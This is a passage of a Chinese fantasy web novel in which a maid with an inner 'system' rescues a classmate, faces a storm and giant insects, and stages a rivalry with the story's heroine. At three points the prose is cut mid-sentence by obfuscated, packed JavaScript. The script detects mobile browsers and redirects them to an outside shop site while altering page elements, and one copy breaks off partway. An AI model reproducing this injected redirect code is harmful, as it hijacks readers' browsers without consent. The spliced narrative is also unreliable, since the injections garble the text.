我看见草木盛放的瞬间,看见叶子落下,时间变得几乎静止,我看见百里之外城镇中生活的人们,一切仅在瞬间涌入脑海。 我看清了会清露会落在哪,我扯断一根树枝,使足力气,附加法术。 树枝刺向在树干间下落,衣衫翻飞的瘦弱人影。 没有刺中身体,而是把她的衣服钉在树干上。 她猛地被衣服坠住,这个人……落下时都不叫吗? 我说过,门派制服质量不太好。 即使会清露瘦得能摸到骨头,衣服也只是拦了她一下,几个呼吸间便出现裂痕,会清露继续坠落。 看来她里面的衣服质量也不太好。但—— 够了。 至始至终。她没有挣扎。她这时才看向我。 【刚才她一直闭眼来着。】 「……」 我冲过去,我好像踩中了风,腾空跃起,在半空接住坠落的少女,她比风还轻,我抱着她落在地上。 她睁着眼,一眨不眨。眼里没有泪水,甚至没有太多惊讶和害怕。 【假死状态。】系统对我说,【人还有动物特别害怕时会这样,是本能反应。】 我抱着她。现在放她自己站着,她会摔倒。 会清露认出我来了。偏头,仰着脸看我。 好一会。她想起来说话。 “是……你。我好害怕……好、?害怕……” 泪水迅速占满她的眼眶。 她在我怀里哭。 “为什么不呼救?” “……” 会清露局促,垂眼。“可以……承受。”她说。 她从我身后飞来,一路上,一定遇见过人。 就是因为她判断自己能够忍受。所以,一句话不喊。 后面,有人过来。 希梦淮冲到我面前。果然有人通知了她。 她先看衣服破破烂烂的会清露。 她皱眉,拿出一条斗篷裹在会清露身上,就要带她走。 “先去医馆检查,然后换套新衣服。处理好再回来上课。” 会清露没说不要,她下意识抬手,抓住我。 “我带她去吧。”我悄悄对希梦淮眨眼。 希梦淮咬嘴唇,点头。 我知道她离不开场,像会清露这种事故也许不只有一例。本身能量多,法术势头猛,人也凑巧到抓住木棍不松手。到底是怎样性格的人……才会这么倔强,这么有耐性? 我抱着会清露往宿舍方向跑, 会清露比刚才更局促,整个人缩在斗篷里,声音小得听不见:“我……我只有一套……制服。” 我刚刚那一下也没控制好力度,她的中衣……恐怕也是破的。 “我们先回宿舍换其它衣服。” 会清露不说话。我贴近。 其实她在说: “中衣也……” 我改变路线,抱她去我们的院子。 一踏进宿舍范围内,黑云压顶。 会清露被乌云阴影吓到,往一处院落看,“那,那里是我们宿舍,怎么会有这么黑的云?!” “先换衣服要紧,我送你去我那。” 其实,希梦淮说错了。 应该先去换衣服才对。 我家小姐的礼仪课严格规定,不管出席宴会发生什么状况,哪怕有人刺杀,服装,头发,都不能乱。 在没有生命危险时,人要先保持仪容整洁,才能做别的事。 否则将会成为一辈子的污点。 尤其是年轻人,会比人生中任何一个时刻都在乎面子。 所以那些被我打了的登徒子才会怒不可遏。 “——”我凑近了听,会清露对我说: “谢谢……” “不客气啦。”我抱着她悄悄进了院子,没声张。 房间里,我找出衣服给她。 “我会还给你的……”会清露抱着我的几套衣服。 我摇头:“是我害你衣服扯破,谢谢你不嫌弃我的旧衣服,有点大,要是我会改就好了。” “送、送给我?”女孩子脸颊上有闷出来的红晕, 我点头,“是旧衣服。” 在我目瞪口呆注视下,会清露以迅捷速度改好了一套衣服。 简直——神乎其技。 “谢谢你!”穿着我衣服的会清露抱了我一下。 上次她也是这么靠近我,像燕子。 我情不自禁摸摸她后背:“我们去医馆吧。” “不用啦,擦伤到一点,我自己就能治。” 会清露在我面前展示她的力量,她掌心有一片擦伤,白光闪过,伤口愈合。 “在来门派前……我就能做到。”她低声说,“我家……我家现在很穷,几年前爹爹意外去世,妹妹病了,娘在做劳工,但同等的工作时间,给女工的工资非常低,我说想试试能不能去门派求学,也许能学会法术回来赚点钱,娘同意我来。” 一般……只有隶属于郡及以上的城镇,有大户人家或是工厂招女工,村子是没有的。会清露应该来自玉城附近的郡中,女工工资的确很低,都是做仆人,男仆不需要做女仆的洗衣打扫工作,女仆要辛苦忙碌一天,工资不及男仆三分之一。 “那真是个开明的母亲。”我感慨。我们这个年纪的女孩子,基本上……第一件事是要嫁人。 不逼着她嫁人,而是让她求学。她承载着期望来这里,赌改变命运的机会。 所以才会避开人群,一个人拼命练习吧。 但会清露没有回应我。她就只是,读不出表情,低头看地面。 “跟我来,我们去再领两套学徒制服,是我弄破的,我赔给你!”我拉着她出门。 【……】 【你就没发现,她在故意用装可怜博取你同情。】 对哦,系统是个装载着心理学知识的统。 「那又怎样?她的确没办法再买制服了,她得到的月钱都要寄给家里,会装可怜才说明她聪明,在我这里是加分项。」 【……】 「再说,她很有可能是杀死我家小姐的凶手,我有必要和她搞好关系。既然目的都不单纯,何必一踩一捧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16556921|186020||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 」 拉着会清露走过她的宿舍门口时,会清露说:“能不能过去看看?” 我们悄悄进入院子。 没有进宿舍屋门,而是透过窗户向内看。 房间里, 女主她在那!在那看书……她是女主,识字很正常。女丁没有独立户籍,要依附于家中男丁——她们的父亲或兄弟,等结了婚再随着一笔钱被像货物一样转交给男方,正规学堂因此不收没有户籍的女孩,富裕些的人家会给女儿请女老师上门,女孩才能识字看书,所以门派上课也不用什么课本,都是口授加练习,听说正式入学后有年长学徒负责的基础课堂,教读写…… 啊。 原来云间月没去上课。 「……」我后知后觉。 【……】系统后知后觉。 「系统,那我白找她的时间算什么。」 系统回答:【算你勤快。女主主意正,视规矩为无物。】 我想我会习惯。 “她真的没去上课。”会清露说。 “你认识她?”难道即使在没有受伤情况下,女主还是不可抗力和会清露相识?宿舍是百人间,女主又不是个热心肠,上辈子被亲友背叛,她…… 我总感觉,她肯定已经发现自己的未来和之前那次不同,并且在怀疑我。她没道理这辈子还去重新认识她的亲友们, 除非她想报仇。 “不。”会清露说,“她在我对铺,我能感觉到,她身上有和我类似的能量气息,她应该也会一点治疗法术。” 【欸!剧情来了,热乎的!】 我带着会清露继续前去领新制服。 「说。」 【这里今夜就会下一场大暴雨,女主的宿舍漏雨。不知泡了哪位学徒的蛊虫坛子,加上有女主在,天上下的雨是带着能量的好雨,虫子跑出来,个个长得有脑袋大,女主宿舍开始闹虫子,不出几天其它宿舍也开始闹虫子,一时间灭虫风席卷了整个门派,蛊嘛,这种一般是代代相传,不懂这个的人拿它没办法,但这位学徒最后也没站出来承认,女主不知道是谁。然后……宿主,宿主,你怎么僵住了?】 「没,没事啊。」我镇定自若走路,「没有的事,你继续说。」 【然后门派为了灭虫,从魔界请来一位交换生,家中那一脉世代修行蛊术,专门来治理虫患的,在这之前都是女主在应对宿舍里的大虫子,也是因为这件事,女主和会清露还有宿舍学徒们关系拉进不少,嗯……再多就不清楚了。】 「系统。」我严肃,「如果我现在想方设法把那个蛊虫罐子人道毁灭,世界会来雷劈我么?」 【奉劝宿主别做,直接抹杀一个登场角色,这是大变动,世界肯定会发现。】 「不会的。」我说,「我不敢。」 “会清露。”我叫她。 女孩子停下来看我。 虽然瘦,但能看出青春正盛的活力。想到她要第一批被虫咬,不知道还好,知道了装不知道。会有点亏心。 “这几天有户外课,你怕大一点的虫么?” 会清露想了想:“不是很怕?” 太好了。 我塞一把驱虫药给她,“拿着。驱虫的。”就是不知道对脑袋那么大的虫有没有效。希望有效…… “嗯?谢谢!”她很高兴收下,“你……你怕虫?” “怕。”我点头。 “我会保护你的!如果,如果你需要的话……” “你真好。”我咬着牙哽咽。 她真好。我感动得热泪盈眶,如果一个人能在有脑袋大的虫面前说要保护我,和在猛兽巨口前说没什么两样,我都会很感动。 而且在这个瞬间,我觉得我也很伟大,我这么个怕虫的人,在得知今晚就是我的末日之时,竟然还能若无其事走路,去领制服,重新参加下午的课程,全程对将来不久即将应验的大虫子风波无动于衷,尽显仙人风范。 真是,太厉害了。呜呜呜小姐!我要怎么在大虫子手中保护你啊!娘! 就这样,我内心如丧考妣地跟着小姐下了课。 小姐一直忙于练习,我离开了她都没发现,等我回去时,她已经能操控着木棍随心而动,练习颇有成果。 晚上,雷雨大作。 在娘和小姐的费解目光中,我把所有门窗角落都封死,干笑:“呵,呵呵,好大的雨,水可能会漏进来,堵严实点好。” 小姐以为我怕雷声,摸我的头:“灵佑不怕不怕,和我一起睡。” “没有,没有。我不怕雷,小姐要好好休息才行。” 我婉拒了这份好意。我怕等大虫子出现在墙壁地面时我原地起飞,反而把小姐吓到。 还是让我一个人在房间默默发疯吧。 也许我会晕过去。 这样,就不用面对虫了。 在雷声和雨声中,我昏昏沉沉入睡。 12.狂风,听我号令 一早醒来,雨,还在继续。 风刮得特别大,早饭在自己屋里吃。 似乎连屋里的烛火都被穿过门缝的风吹得直摇晃。 我拦住要出门的小姐。 “我出去看,小姐不要出去。这天气肯定上不了课的,小姐放心。” 小姐看起来很想和我一块,被我按住。只能在门厅里和我挥手告别。 一打开门我惊讶,院中早已有一层薄薄积水,因为有结界,多少能防雨,这样的话院子外面…… 我没去开院门,搬了把梯子到院墙边,顺着爬上墙,往外面看。 “……”乖乖,院子门前成了河,水有墙一半高,不知道谁的物品从河上一件一件漂过,有衣服,锅碗瓢盆杯子桌子椅子,从水面浮游而过的大团不明物体…… 还有……木排?一看就是临时打的,木排上还有支楞八叉的枝叶……勉强算个船吧。 我和划船人对视,没有任何防雨措施的希梦淮:“通知,今日停课。结界加固完毕。” “要来么?”她向我伸手,“有法术撑着,浇不到,不会掉水里。” 我想到大虫子,脱口而出:“防虫么?” 希梦淮没问我哪来的虫子,答:“现在防了。” 我二话不说跳到木排上。 很稳。 希梦淮没用桨和帆,木排一路疾驰,路过宿舍院子她就加固结界,通知停课,我还看见另外几位长老,都在做一样的事。 越接近女主宿舍,我心头糟糕预感越强烈。 “欸?”希梦淮被眼前狂风镇住,“哪来的风?” 前方,此路不通。 就像有一层屏障隔断狂风,屏障这边的我们安然无恙,屏障那边的人们…… 这里水位激增,木排和墙同高,院墙形同虚设,院中景象一览无余。只见那座宿舍屋顶被狂风掀起一大半,还剩四分之一和墙壁连在一起摇摇欲坠,应该是发出哐当响声的,但风太大,听不清,所有声音混杂在一起,形成嗡嗡呜呜回声。不少学徒撤离到屋外暴雨中,全身被雨淋得一塌糊涂,头发被大风吹得竖直上天,还有的…… 原来从院门口漂过去的不明物体,是假发。 还有的脑壳秃秃…… 所有人,无一例外,都被风吹得睁不开眼,在大风里东倒西歪,跑来跑去,更有甚者在地上污泥中被风痛扁得连滚带爬直不起身。 终于,有人疯魔了,正是那个痛失假发的学徒,她身形高挑,在狂风暴雨中张开双臂仰天长啸,忽然间后面飞来个罐子——“啊!”我立刻抱紧希梦淮,把她从呆呆怔怔中扑得回神, 那个罐子把人打得当场倒地,罐子中……飞出无数拳头大的……虫。 这波骚动更大,院里的人与虫共舞,看画面也能听到尖叫声此起彼伏,一个又一个虫被吹着打到这个脸上,打到那个脸上,我瑟瑟发抖,抓紧希梦淮。 希梦淮这会回过神来,安慰我松手,给我放了个法术,立刻飞身冲进暴风雨中处理残局, 一道道身影闻声赶来冲进院中救人,我呆呆看着。 脑中有个念头: 「女主……是个行走的天灾吗?不是说,只有暴雨?」 【女主的记忆中确实只有暴雨。这场雨来得突兀,很可能是追着她跑的那个东西招来的,世界认为女主亏欠了那个东西,特地来惩罚她找平。】 为什么,不一样了。 我思考。 女主啊……总被雷劈。 ……她生命力越强,似乎雷击来得就越多? 等等。 「女主前世这时候受了两次重伤!她现在没有!」 生命力全满和半满的差别,恐怖如斯。 【罪魁祸首竟是你。宿主。但是宿主,你也看见了,即便状况不同,该发生的事会自然而然发生。没有人能阻止。】 「……狂风啊,听我号令。」 我在院墙前,心中祈祷。 【宿主,你没有操控天气能力,希梦淮都没有,这就是自然的狂风和降雨。】 「不,我只是感叹啦。每个活着的人站在狂风暴雨前都会这么想的。」 【是吗。】 我倒是没看见会清露。 算了,她那个小身板,一出来说不定会被吹飞,还是不要出来了…… 女主也没在,该不会是所有的雨都落她一个人头上,把她砸晕了吧。 “……”这是自然之力,我把握不了。 救不了她。 摇摇欲坠的屋顶被长老们协力搬下,厚重屋顶落在院中,占据一大块空地,【宿主小心!!!】 身后惊涛骇浪袭来,漆黑的浪花把木排抛上天际,我在这一瞬间理清了发生什么。 我飞在空中。 把木排当作是剑吧。 狂风范围扩大,暴雨淹没了我。 因为长老们试图对付那块云,刺激到了天气。 污水冲破院墙,带着飞舞的我,席卷整个院子。 “啊啊啊啊啊啊这里有虫!!!!”我的抗拒和眼泪在浪涌中丝毫不起作用。 我从无数仰起的脑袋上空越过,冲到没有屋顶的房子上空,我把心一横,从木排上飞了下去。 耶。房子里,还有人。 哈哈! 我狂笑着,冲向那个在连天雨幕中榻上打坐的人。 她抬头看我。我也看她。 云间月,我的女主。本就披着头发,被雨浇得失落,雨水在她倔强的脸上流淌,经过紧绷的嘴角,看起来就像哭过一样。 但我并不想和她亲密接触,惊慌失措中,我抓住一块飞来的长布条。可能是谁的床单。 注入能量,布条瞬间拧成麻花,变成条状长棍,我借助冲势一跃,落在大长排床铺另一边。 抬头看天上。高空中五个长老汇聚出一股力,锁住看起来还要下好久雨的乌云,拽着它向旁边移动。根本无人注意下方的我。 那块云很不想走。 顽固地,停留在云间月头上。 她,她到底做了什么,世界分明就是很讨厌她吧? 我看云间月。 她全身湿透,睫毛上挂着水珠,神色淡定打坐。我仿佛看见她身上缠绕深沉锁链,从世界垂落而下,不论她走到哪,锁链都会纠缠她。 就在这时,冰冷声音传来: 【随机任务已刷新:让女主记住你和她的关系(完成奖励,随机查看一段相关记忆)】 “……” 这件事有一部分原因在我。是我扯走了本该让她两次受伤的荷乘蕴。 所以我还是要做这个恶人。这是世界的意志,云间月没有了会伤害她的人,世界就要来惩罚她。 “又见面了。”我像个登徒子,坐到她身边,翘着腿。 这大概就是我能留给她的全部印象。此后人生。我将以这种印象贯穿她对我全部记忆。 要是我失败了,等她再重来一世,希望她能把这个失败的我像倒垃圾一样倒掉。 也正好,她是个随时可能失败的,死了也籍籍无名的救世神女。 而我是那个恶毒配角。 这个世界或许欠女主一声道歉。 “对不起。”我对云间月说。 我可以成为她的过去,无法延伸到她的未来。 世事无常。书写故事的人,倾注了强大意念。 意念化作我无常的世界。 作者说,大爱无疆。 至少在这一刻,我理解了什么的。 云间月固执的理想。 她独自一人在这里,承受世界风雨。 这一世的她。或许,不想再交朋友了。 “我是你的敌人。”我说。 我挥舞拧成尖刺的布条刺向她。 云间月反应过来我要做什么,挥手张开结界,蓝白色光包围我和她,这时的她没有武器,她只能面对不讲武德的我。 她在我周围撒下许多看不见的能量弹,只要我碰到,能量就会爆开。 我对能量流动有天生直觉。 眼睛看不见,我的感知在。 风与光对立变幻,干扰视线。我闭眼,挥舞武器刺中一个个陷阱,我冲破封锁,冲向云间月。 我召唤一阵风,在本就吹拂的狂风中,借助风势生成龙卷风,龙卷风包裹我们,我和她在风眼中对视。 这样就没有人发现我们在做什么。 “你闭眼。”我命令她。 “想象你受伤了,你很痛,让你的想象向我扩张,我辅助你完成它。” “……”云间月看着我,她的睫毛上还挂着水珠。 她闭上眼。水珠像流下两颗眼泪。 世间的恶念,连接我与她,我把恶念传入她脑海,她不得不接受,就在她的思绪干扰到我,我必须承担风险之时, 一股来自于她的念头,闪烁白光,非常非常亮的白光, ……叫嚣着,向我脑海中……入侵? 蹲守在我脑海中的系统小圆球原地跃起,仿佛有“哐!!”一声,把那个白光念头弹飞出去。【好你个怪东西,竟然敢惦记我的宿主,这里有人啦!】念头灰溜溜躲回云间月身上去。在系统认知中,云间月的坏念头就和疫病感染源似的,不受待见…… 系统转头对我严厉教育:【不行!你这样做假她受伤来欺骗世界,女主她有心魔!会传给你!你干涉不了她,只会被她同化!】 「不试试怎么知道。更何况,我可不是她的朋友,对她只有仇恨没有爱。」 我想象,我暴打了云间月。 她会害我的小姐死掉。 她会害希梦淮死掉。 也会害荷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我会出现在你梦中。你的生活会因为我存在而丰富多彩,但你永远无法真的除掉我,你见我时,我们可以是陌生人,有过几面之缘的人,但不能是刀剑相向的敌人。记住这些话……” 【任务完成(奖励已发放)】 在声音响起下一刻, 云间月对我笑了。 “是啊。”她说,“我早该意识到,为什么不能有除我之外的人,你也看见过未来,对么?未来的我,也杀死了你?” 她倒警觉。 ……也? 我意识到——云间月这条成神路。 一定、杀死过不少人。她是神,也是恶鬼。 “我不会太急着杀你的。”她继续说,“直至我重新登上云端。就按你说的那样,我等待,你为我带来乐趣,到我不再需要那一日。” “恭喜达成共识。”我对她伸出手。恐惧覆盖我。 “同喜。” 云间月冷冰冰的手指有了点温度,是被我找麻烦气出来的,她的手从我掌心划过,我故意捉住她,笑嘻嘻: “握一下嘛。你是我喜欢的类型喔!” 在她动怒打我之前,我迅速把手指从她指缝间抽离, 我们头顶,厚重乌云消失不见,晴空万里。 回去路上。 路已经成河,我只能踩着墙头走,摇摇晃晃,也很有趣。 系统出来扫我兴致:【我看你很怕她。】 「我对表象上的我定位是:女主宿敌。我当然要怕她。」 我在院墙上跑起来,应该没什么人正巧看见我。 「为了让女主这么以为,让她产生危机感,我要和她处于平等的对立关系,如果她落难,遭遇危险,我会去帮她,如果她气盛,我会毫不犹豫打压她。现在看来我成功迈出第一步。」 【但你最好不要沾沾自喜。我带过很多任宿主,自从带过一万个之后,我接到的任务往往都是要宿主逆天改命,这条路很难,几乎每个宿主都不满意。能量多时我甚至能够为宿主像主角一样重新开启世界,但还是无人满意。】 我落在我家院子里。 雨是停了的,娘在屋前扫水,我也拿过扫把开始扫。 「你想告诉我,这世界上每个人都会做出自己的选择。改变命运是很难的事,其实我没想那么多。我对我自己负责,不后悔就行了。我也只有这一辈子。能不能做到是我的事,尽力帮我是你的事。我们是命运共同体。」 因为我还是个年轻人。 我拥有很好的时光,我能够说出未来不后悔这些话。 【……是。等有被改变命运之人,有那样一天,再来问宿主好了。】 13.上山采药去 那通骚乱过后一天,课程重新开始。 听说希汀吟掌门在构思新的结界,用于加固宿舍,也在想办法应对莫名其妙出现的恶劣天气。 课程轮到了擅长医术的于长老。 于长老上来先开口:“我的课不禁言,就怕你们谁采到有毒东西偷偷吃了,不知道先问。遇见不认识的别吃,先喊报告,懂了没有?” “懂——了!!!!”两千人的呼声在山间回荡。 “报告长老!我们已经在山深处了,中午饭怎么办?!” 不知道哪个人喊的。 “啊呀,啊呀。我忘记说了是不是?”这位长老忽然想起来似的,一拍脑门,声音传至漫山遍野:“听好了大家,我们边爬山边采收药材和作物,到饭点原地休息野炊,晚上原地露营。” 队伍安静一瞬,接着欢腾起来,有人在说, “太好了!宿舍没屋顶,给分配了别院,百人大通铺要再挤出一个人地方,我都不好意思过去……” “野炊啦!!” “户外教学万岁!!!” 总之都很高兴。 我一回头,发现我家小姐在笑。 我第一念头觉得小姐应该是在看我,但我视线转回前方,在走得快的人群中看见了男配。 “……”我很确定,当时我的脸就拉下来了。幸好是背对着,小姐看不见。 【宿……宿主,下次您骂得这么脏提前说一声,哪怕宿主恨系统恨破天,292给宿主保留隐私,一句不听。反正……反正都习惯了。】 它这种故作委屈的冷冰冰声音有点可爱是怎么回事? 「我骂得是男配。」 【那太好啦!】脑海中的小圆球支棱起来,【统这里有大把的国粹教学,宿主要不要参考?文化不同没关系,宇宙文明是一家,总有相似之处可借鉴!】 「……不了,以后用得上时我当面说。」 我调整好表情,不让自己看起来狰狞,重新闷头采收作物。 袋子快满了。 “中午已到,休息。” 于长老一声令下,爬了一上午的队伍立刻都像泄了气的球瘫倒在地上。 这位看起来婉约的青年女子直摇头,“一代不如一代啊,这才哪到哪……” 出现了,常见台词。 小姐的礼仪老师们也说过类似的话,尤其是在小姐在宴会上尽显侠士风范时。 午饭是自己采到的野果一类, 身边不少自言自语: “我们这不就是免费劳工……?” 怎么说,说得太对要受罚的。 我笑着去挽我家小姐手臂,给她借力,“小姐累不累?” 小姐顺势戳我脸:“很自在,灵佑呢?” 我继续托住我家小姐:“小姐开心就好,我也开心!” 太阳开始西沉时,队伍已经彻底深入山中。 这次停下是安营扎寨,附近有一片山泉,于长老教我们怎么削树枝钓鱼,打猎捕捉野物,她说也常有活物入药,世间万物都是药材。 最后,是如何用藤蔓搭吊床。 我不算很心灵手巧的类型,除了会给香囊歪歪扭扭绣几条封口线防漏之外,做出来的香囊好像一个口袋长了腿,编织也差不多……最后我决定晚上靠着树睡。 我家小姐使用法术操纵藤蔓编织如笔走龙蛇,我惊叹她事事完美,小姐做出一张很大的吊床,挂在树上。 “灵佑,去试试啦。”她推一推我。 “欸?” 小姐笑:“知道你做不好,晚上我们一起。” “小姐!”我克制着没扑上去抱住她,拉起她的手,“小姐真好!” 她把指尖和我扣在一起,笑容在她脸上,在夕阳光中。 闪闪发亮。 她真可爱。 我想要个七彩的袋子,把我家小姐装进去偷走。 但小姐也有自己的人生…… “我找落叶生火去啦。”小姐笑眯眯的。 “嗯!我去钓鱼。” 接下来是晚饭。 晚饭时间很热闹。 有的野果不新鲜,一切开就爆,吃的人多了,总会有几个倒霉蛋遇见。有人拿着做好了的饭匆匆而过,对面撞了人,饭没吃成全撒地上。还有人正吃饭途中被旁边一胳膊肘打飞了东西,吵闹声回荡在四周。 我和小姐安静坐着,靠着挂吊床的大树。 我们很少感受到这种氛围。 不是一般吵闹,而是吱哇乱叫。 宴会上虽然食物丰盛,但不会有这种氛围。 “生火啦。”小姐率先动起来,把她收集的叶子树枝拢在一堆, 她点火时,我叫她:“小姐。” 我们四目相对,在彼此眼中看见下沉的夕阳。 小姐好像一个操作失误,或者是几片叶子被风卷起,吹到我脚边,她并没有注意。 我习惯性捡起查看,想看这片叶子适不适合用来吹。 微光中,叶片上……好像有字。 奇怪,树叶上……有字? 天色已经暗下来了,我看不太清,于是问系统:「你能不能看清这上面写了什么?」 系统正闭目养神装死,小圆球睁开一只眼: 【褚灵佑。】 「嗯?」 【你的名字。这上面。】 我困惑。 我的名字怎么会出现在树叶上。 我没有扔掉树叶,塞进口袋。开始处理晚饭。 夜晚,我们坐在虫鸣中,周围学徒们各自点起篝火,营地被隔绝风和野兽的结界覆盖。 篝火幽幽。火光忽明忽暗,落在围绕附近的一张张谈天说地脸孔上。 远处有呐喊声响起。好像是哪个人喝醉了酒,野外没有酒,那只能是吃错了东西。 骚乱从那边传来,于长老在教训人。 案例不止一个,出现同样症状的人像猫咪打架似的蹦起来对打,影子影影绰绰映衬过来。远处喧闹不止。 我一直注意周围,努力忽略一个问题。 那就是,这里,有虫。 吃过饭没事做,无可避免回想这事。 我认命般想,今晚不用睡了。 我眼睛瞪得溜圆。 小姐好像累得困倦,头忽然靠在我肩上,我扶着她,抚摸着,眯眼。 “灵佑不睡吗……”她低低问我。 “我扶小姐休息。”我半扶半抱着我家小姐,把她扶到吊床上。 下意识就要为小姐更衣,手伸到胸前才反应过来。这里是野外。 在外人面前,不论何时,我一直是走在小姐身后的。仆人不能与主人并肩,更不能同榻而眠。这是规矩。 此刻……没人注意我们。 我放开手,让小姐倒下,轻拍她。 小姐拽住要起身离开的我,我没想到困得快睡着的她还有这么大力气,猝不及防被拽得一并倒在吊床上。 小姐压低声音笑, 我幽幽:“小姐,天色已晚,该休息了。” “可是灵佑还不想睡。”小姐侧身看我。 “我……”我当然不能告诉她,我这是担心虫担心得头脑紧绷睡不着,而且还在胡思乱想被人发现我对她不敬要害她被说闲话的事。又一想,这里……不是在门派吗? 已经,不是在玉府。 “这样好了。”小姐拍拍她身旁空位,“我给灵佑唱歌。” 我凑近一点。 躺着,闭眼。心里想着,我家小姐好像…… 好像红艳艳的玫瑰。幽幽月色中看美人,越看越好看。 轻柔,略带沙哑的哼唱响起。小姐轻轻拍着我。 “这首歌……”我回想究竟是什么时候听过。 “是阿母小时候唱给我们听的。”小姐答。 “你还记得?”我印象中,娘好像不怎么唱歌的。 也许她真的在我们很小很小时唱过,但现在想来,应该是她的本音和平时面对我们时的不同,说话还好,唱歌就会被发现不一样。 “是啊,阿母还说,这是一首……讲许多种爱的歌?但我不记得歌词,只记得旋律。” 小姐继续轻轻拍我。她的哼唱和四周夜晚虫鸣,远处的骚乱融合在一起,我听着,似乎,想起了……一个久远的梦境。 那时,我应该还很小。 不是……人类吗? 褚灵佑,睡着了。 玉燃兮躺在她的小女仆身旁,眼睛明亮凝望夜空。 她刚刚的困倦,是装出来的。 “…主……喝…水”耳边有呓语。 她的小女仆睡觉不太老实,她知道。 不光是这样,偶尔,会说出一些意义不明的词,从小如此。 褚灵佑翻了个身。 两人本就离得近,睡梦中的少女翻身后,把手臂和腿都扔到她家小姐身上。 玉燃兮伸出手臂,把少女抱住,两人更近,亲密地头挨着头。 玉燃兮轻拍安抚昏昏沉沉入睡的褚灵佑,抱着她,眼中望着幽幽夜空。 那是一双野心勃勃的眼睛,心怀壮志,追逐时机。 是她从不曾在怀中之人面前表露过的执念疯狂。 至少,此时此刻,看见这双眼睛的人,都不会想到她是为了追逐与自己门当户对的姻缘才来寻仙, 而是会认为,她对问道成仙志在必行。 可惜无人看见。她也不想教任何人看见。 侧一侧身,拥着她的少女去睡了。 第二天一早。 睁眼。 我家小姐。在我对面。 几乎脸贴脸。 她没醒。 我想退开点儿距离,一动,发现原来是我抱着她。 我面不改色收回我罪恶的手和腿。 “……”可能是吊床毕竟不是真正的床榻那般平整,睡着就会有点倾斜的。 也可能……是我怕冷。 ……那也不能手和脚都缠在小姐身上吧! 我绝望地把最近自从看过系统传来资料时常有的生理反应压下心头。 人族一律十五成年,再怎么说我也成年了,有这些念头很正常。 就……但我对小姐不能有那样的心思,小姐要嫁人,她不喜欢女孩子。 就算我说要成为她的恋人,也只是假象,我不会控制不住自己真的和小姐有什么。 对,我就是个登徒子。 深深唾弃自己一番,做好心里建设后,我睁开眼。 小姐醒了,盯着我看。 她笑:“灵佑,你好有趣儿,会变脸。” 她笑得那么灿烂。直击我罪恶的心灵。 我哽咽:“小姐,如果有一天我也耍流氓,该怎么办……”我能感觉到我最近越来越欲…求不满了……想亲亲,还想抱抱……和女孩子。 天啊,我感觉如果这种状态持续到下一次见莫莹绣,我说不定会趁着夜深人静无人知晓对她撒娇,再怎么说她也算我的老师……我不至于放任自己失控到这种地步。 “没关系啊。”小姐灿烂笑着凑过来,抱抱我,“灵佑,以前你做噩梦也抱住我和阿母不放撒娇的。” 我家小姐真可爱……想拿个袋子套走她。 我摇头:“不不不不行!小姐!我们都长大了,你还要结婚的!不能再这样!” 我怕再这样下去做出不理智的事,躲开我家小姐怀抱,不行,我必须把我脑海中这种念头永远掐灭在心中, 去我内心深处的装垃圾大洞呆着吧!这里还有许多不好的经历记忆。 但是好像没有丢掉坏记忆那么有效。欲求还是会撞上我压在洞口的门。 小姐看起来很失落。看她这么失落我也好难过。 我不想让她难过……我彻底咬着牙,强忍在我心中敲门的念头,一头扎进她怀里:“呜呜呜还是要小姐抱抱,娘现在都不让我这么撒娇了,小姐真好!” 小姐笑而不语,对我进行了摸摸。 这一天仍旧是采收,袋子里装的野果边走边吃,不重,剩下的是药材, 等到傍晚时,队伍重新抵达山下, 连窃窃私语都比昨天更有气无力: “于长老让我们露营,是不是省下往返的时间,正好方便我们一睁眼继续采收……直到采完整座山。” “别提了……你还有力气?” “一定是这样,下次如果还是这样,能不能……能不能只来一天?” 于长老见队伍这副样子,恨铁不成钢地没再交代什么,队伍解散,各回宿舍。 我并不是太累,小姐看起来也还好,娘在院子里踱步,面色凝重。 见我们回来,她严肃对我们说,“不能再在院子里吃饭,有虫。” 我把尖叫吞进喉咙。 我们在门厅用餐,一顿饭我吃得提心吊胆,好在平安无事,我松口气,拉开房间门。 终于,我最不想看的画面还是出现了。 当看见墙上那只长长八条腿的生物时,我大脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583661|186020||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一片空白。 它有我的脸那么大,有很多只红色小眼睛,黑色绒毛根根清晰。 它在看我。 “娘!!!!”我发出爆鸣,扭头扑向距离我最近的娘,不知道做了什么,我一心只想往娘怀里钻。 我钻进去了。 然后就不清楚了……我不敢看。也不太清醒。 好像听见是我家小姐跑过来,把虫叉到外面去烧。 我娘摸我的头,我瑟瑟发抖。 她说好了,好了,没事了。 “呜呜呜真的?”我泪水狂飙。 “真的,灵佑,没事了。”娘的话语那样平和。 看来她也不怕虫, 等等,我家小姐也不怕?! 我被安全感包围。 从娘怀里抬头,我的眼泪糊在她衣领上,但娘的脸还是那样平静。 我从娘怀里退出来。 我……刚刚。 解开了我娘的衣服。 